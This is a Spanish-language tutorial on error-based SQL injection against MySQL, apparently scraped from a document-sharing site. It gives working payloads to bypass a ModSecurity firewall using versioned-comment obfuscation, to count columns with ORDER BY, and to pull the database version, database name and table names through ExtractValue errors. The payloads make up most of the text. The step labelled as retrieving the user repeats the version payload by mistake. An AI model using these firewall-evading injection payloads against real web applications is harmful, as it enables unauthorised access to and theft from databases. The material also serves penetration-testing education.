Sunteți pe pagina 1din 5

Inyección SQL basado en Errores

Extracción de datos con ExtractValue

Introducción

Algunas veces, realizando pruebas de inyección SQL, podemos encontrarnos con que la
página web no devuelve información relevante para la consulta (inyección) más que el error
de MySQL. Es entonces cuando debemos cambiar de estrategia y optar por otras técnicas
que nos permita recabar información de la base de datos.

En este tutorial, vamos a realizar una prueba de inyección SQL con la técnica Error Based
(técnica basadas en errores) haciendo uso de la función ExtractValue de XPath, no haremos
pruebas de Inyección para XPpath en sí, sino que sólo haremos uso de la función en mención.

1. Fuzzing

Para pruebas de inyección SQL, lo primero es provocar una falla en la consulta SQL, esto se
logra alterando el parámetro en la URL. Esta primera prueba determina la técnica que
posiblemente emplearemos a lo largo de la prueba:

La aplicación web (desde ahora sólo web) no filtra las comillas simples, y como se puede ver
nos muestra un mensaje de error propio de MySQL.

2. Recopilando Información

Ahora veamos cómo se comporta la web respecto a la inyección, para ello haremos una
prueba tautológica (puede ser otra).

Consulta: ‘ or 1=1 -- x

Nota: notemos como nuestra consulta ‘ or 1=1 – x se convierte en %27%20or%201=1%20--


%20x, los caracteres con % antepuestas añadidas se deben a la codificación URI.
Como se puede ver en la imagen, la web tiene un WAF (Web Application Firewall)
Mod_Security que filtra la inyección. Esto indica que tenemos que elaborar nuestra inyección
de tal manera que el Firewall no lo detecte.

Para este caso en concreto podemos evitar el filtro de la siguiente manera.

Inyección: ‘ or (1)=(1) – x

2.1. Obteniendo los campos de la consulta

Para obtener los campos que usa la consulta normalmente se usa la cláusula ORDER BY y un
poco de búsqueda binaria, en la prueba tomamos partimos con 10 campos, luego iremos
disminuyendo a aumentando según como se comporte la web.

Consulta: ‘ order by 10 -- x

El mensaje devuelto dice que la web tiene menos de 10 columnas.

Consulta: ‘ order by 2 –- x
La web tiene menos de 2 campos

Consulta: ‘ order by 1 –- x

Concluimos que el número de campos utilizados en la consulta es de 1.

2.2. Prueba con UNION SELECT fallida

Se usa la cláusula UNION SELECT, para concatenar consultas, recordemos que la web hace una
para mostrar contenido. Sí intentamos recuperar datos desde la DB con UNION SELECT vemos
lo siguiente:

Una vez más el firewall, está vez vamos a ofuscar la consulta un poco para pasar el filtro.

La idea consiste es ir viendo qué palabra clave está siendo detectado, después ofuscar dicha
palabra, en nuestra consulta usaremos una característica de MySQL para ofuscar la palabra
clave union haciéndolo ver como si fuera un comentario pero sin serlo.

Consulta: ‘ /*!12345union*/ select 1 -- x


La técnica de UNION SELECT fallida, bueno aquí la mayoría ya quedaría frustrado, el mensaje
nos dice que la sentencia SELECT usado tiene un número diferente de columnas, no se supone
que tiene sólo una columna.

3. Extracción de Datos con ExtractValue

Como no se tuvo éxito con UNION SELECT es hora de cambiar de técnica. A lo largo de la
prueba de Inyección SQL con ExtractValue iremos ofuscando la inyección, recordemos que
existe un firewall.

La sentencia que usaremos es la siguiente

‘ and extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))--

Versión

Consulta. ' /*!12345and*/ extractvalue(0x3a,/*!12345concat*/(0x3a,version())) -- x

Usuario

Consulta. ' /*!12345and*/ extractvalue(0x3a,/*!12345concat*/(0x3a,version())) -- x


Nombre de la base de datos

Consulta. ' /*!12345and*/ extractvalue(0x3a,/*!12345concat*/(0x3a,database())) -- x

Obteniendo las tablas de la base de datos.

Consulta. ' and


extractvalue(0x3a,/*!12345concat*/(0x3a,(/*!12345select*/+/*!12345concat*/(table_name)+
/*!12345from*/+information_schema.tables+where+table_schema=database() limit 1))) – x

S-ar putea să vă placă și